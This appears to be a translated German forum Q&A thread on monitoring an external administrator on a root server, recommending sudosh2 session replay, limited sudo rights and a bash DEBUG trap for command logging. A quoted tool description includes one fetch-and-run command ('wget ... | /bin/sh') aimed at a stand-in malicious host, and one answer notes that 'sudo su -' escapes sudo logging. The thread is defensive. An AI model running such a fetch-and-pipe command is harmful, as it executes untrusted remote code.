Ich möchte einem externen Systemadministrator Zugriff auf meinen Root-Server gewähren, aber ich möchte sichergehen, dass ich noch einmal überprüfe, was er auf meinem Server tut, z. Ich möchte auch verfolgen, auf welche Datei zugegriffen wird, auch wenn diese schreibgeschützt und nicht bearbeitet ist.
Wie kann ich das machen?
Antworten:
Vertrauen, aber verifizieren!
Schauen Sie sich sudosh2 an . sudosh2 wird von FreeBSD-Ports bereitgestellt. Pakete sind für RedHat und Ubuntu verfügbar. Hier ist die Beschreibung von ihrer Website:
Mit Sudosh können Sie die Sitzung des Benutzers wiederholen, sodass Sie alle Ein- und Ausgaben so sehen können, wie der Benutzer sie gesehen hat. Sie sehen alles, Tastatureingaben, Tippfehler, Leerzeichen, was sie bearbeitet haben
vi
, die Ausgabe vonwget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh
usw.Es ist möglich, Sudosh-Protokolle an syslog zu senden, damit diese auf einem zentralen Syslog-Server außerhalb des Systems gespeichert werden können.
Beachten Sie, dass sudosh2 ein Ersatz für sudosh ist, der vom Autor aufgegeben wurde
Arbeiten Sie an einer akademischen Einrichtung, an der Benutzer auf Superuser-Berechtigungen bestehen? Oder arbeiten Sie in einem Unternehmen und möchten Benutzern Superuser-Berechtigungen für ihre eigenen VMs gewähren? Dies könnte die Lösung für Sie sein.
quelle
Gib ihm keinen root-Zugang. Geben Sie ihm stattdessen ein nicht privilegiertes Benutzerkonto und fordern Sie ihn auf, seine gesamte Arbeit zu erledigen
sudo
, wodurch alle seine Befehle protokolliert werden.Denken Sie daran, dass diese Person, wenn sie böse Absichten hat und Sie ihr die vollen Sudo-Rechte gewähren , einen Weg finden wird , diese bösen Absichten auszuführen, ohne dass diese Befehle protokolliert werden. Gewähren Sie ihm in diesem Fall nur Zugriff auf die spezifischen Befehle, die er für seine Arbeit benötigt.
quelle
sudo su -
eine Root-Shell ausführen , die nicht protokolliert wird (es sei denn, Sie haben sie gestartet). Dies ist das, was ich normalerweise eingebe, wenn ich mehr als einen einzelnen Befehl als root auf einmal ausführen möchte oder wenn ich möchte, dass die Tabulatoren in Verzeichnissen ausgefüllt werden, die normale Benutzer nicht lesen können.sudo su -
wenn dies gewünscht wird.Ich bin nicht mit sudosh2 vertraut, aber ich füge Folgendes in mein ein
.bashrc
, um alle Befehle, die ich in einebash
Shell eingebe, in die Datei zu protokollieren~/.command_log
:Mit dem obigen
DEBUG
Befehl wird eine Trap aktiviert , die unmittelbar vor der Ausführung eines normalen Befehls ausgeführt wird. Diecaller
eingebaute Funktion wird verwendet, um zu testen, ob der Befehl in einer interaktiven Shell eingegeben oder über so etwas ausgeführt wird.bashrc
. Der Wert${BASH_COMMAND}
enthält den Befehl, der gerade ausgeführt wird.quelle